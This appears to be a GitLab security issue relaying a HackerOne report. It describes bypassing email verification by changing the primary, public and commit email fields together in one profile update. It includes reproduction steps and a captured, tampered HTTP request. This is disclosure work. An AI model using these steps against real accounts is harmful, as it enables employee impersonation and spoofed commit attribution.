Employee impersonation by bypassing public and commit email verification

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #1881598 by theluci on 2023-02-21, assigned to @fvpotvin:

Report | Attachments | How To Reproduce

Report

Hello,
While testing I found that the bug #219745 (closed) that gitlab fixed two years ago has reopened.

Summary

Gitlab doesn't check the reliability of the user[public_email] and the user[commit_email] parameters. In the backend, it just checks if those fields are matched with the user[email] but doesn't check if the email address has been verified. So by changing the user[email], user[public_email] and user[commit_email] at the same time, the server will change the user public email and commit email to become the same email as the currently-changed email address in the request (which hasn't been verified yet).

Steps to reproduce

  1. Create a Gitlab account with your email address.
    For example, theluci+test2@wearehackerone.com in my case.
  2. Go to /profile/emails
  3. Add an email address that you do not own. For example, theluci@gitlab.com
  4. Visit /profile
  5. Change your primary email address to theluci@gitlab.com, click Save and capture the request, it will look like this:
POST /-/profile HTTP/2  
Host: gitlab.com  
Content-Type: multipart/form-data; boundary=---------------------------45235675323735184942831572911  
Cookie: COOKIES

-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="_method"

put  
-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="authenticity_token"

VfTHsNArSelTU0RuPQ34ZHS2x6/w2sY59WMD1SCz/Un9PUpBuiW0RZE6nAGkthZN2NKlEFz28GWSlxcQaSHI6Q==  
-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[avatar]-trigger"; filename=""  
Content-Type: application/octet-stream


-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[status][emoji]"


-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[status][message]"


-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[status][availability]"

not_set  
-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[timezone]"

Etc/UTC  
-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[name]"

lucifer-attacker  
-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[id]"

8552782  
-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[pronouns]"


-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[pronunciation]"


-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[email]"

theluci@gitlab.com  
-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[public_email]"


-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[commit_email]"


-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[skype]"
  1. Change user[email], user[public_email], user[commit_email] in above http request to become the same:
...

-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[email]"

theluci@gitlab.com  
-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[public_email]"

theluci@gitlab.com  
-----------------------------45235675323735184942831572911  
Content-Disposition: form-data; name="user[commit_email]"

theluci@gitlab.com

...  
  1. Forward the request.
  2. Now re-visit /profile/emails and you will see theluci@gitlab.com has become your public email address and your commit email address.

public_and_commit.png

Impact

Impersonate as company employee with the public email address. Perform Gitlab git-related actions with the "verified" arbitrary email address and bypass the committing restriction.

Examples

My profile: [@]LuciferHackerone2

What is the current bug behavior?

The public and commit email addresses have a bad confirmation in the backend. It just checks if the email addresses are the same as the current email address. And when you send a request which also changes your current email address, the server will change your current email address first then perform change the user[commit_email] and user[public_email] after, which the user was able to bypass the check.

What is the expected correct behavior?

Commit and public email should be checked with verified email addresses, not only email addresses.

Output of checks

This bug happens on GitLab.com

Impact

Impersonate as company employee with the public email address. Perform Gitlab git-related actions with the "verified" arbitrary email address and bypass the committing restriction.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: